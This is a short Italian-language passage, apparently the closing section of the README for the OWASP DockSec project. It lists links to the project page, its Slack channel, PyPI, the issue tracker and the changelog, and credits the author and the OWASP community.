Trovaci qui:

- **Pagina del progetto OWASP**: [owasp.org/DockSec/](https://owasp.org/DockSec/)
- **OWASP Slack**: [#project-docksec](https://owasp.slack.com/archives/C0APXGCUW7M)
- **PyPI**: [pypi.org/project/docksec/](https://pypi.org/project/docksec/)
- **Issue**: [Segnala un bug](https://github.com/OWASP/DockSec/issues)
- **Changelog**: [CHANGELOG.md](https://github.com/owasp/docksec/blob/main/CHANGELOG.md)

---

<div align="center">
  <strong>Se DockSec ti è utile, metti una stella al repo per aiutare altri a scoprirlo.</strong><br>
  Creato da <a href="https://github.com/advaitpatel">Advait Patel</a> e dalla comunità OWASP.
</div>

Categorie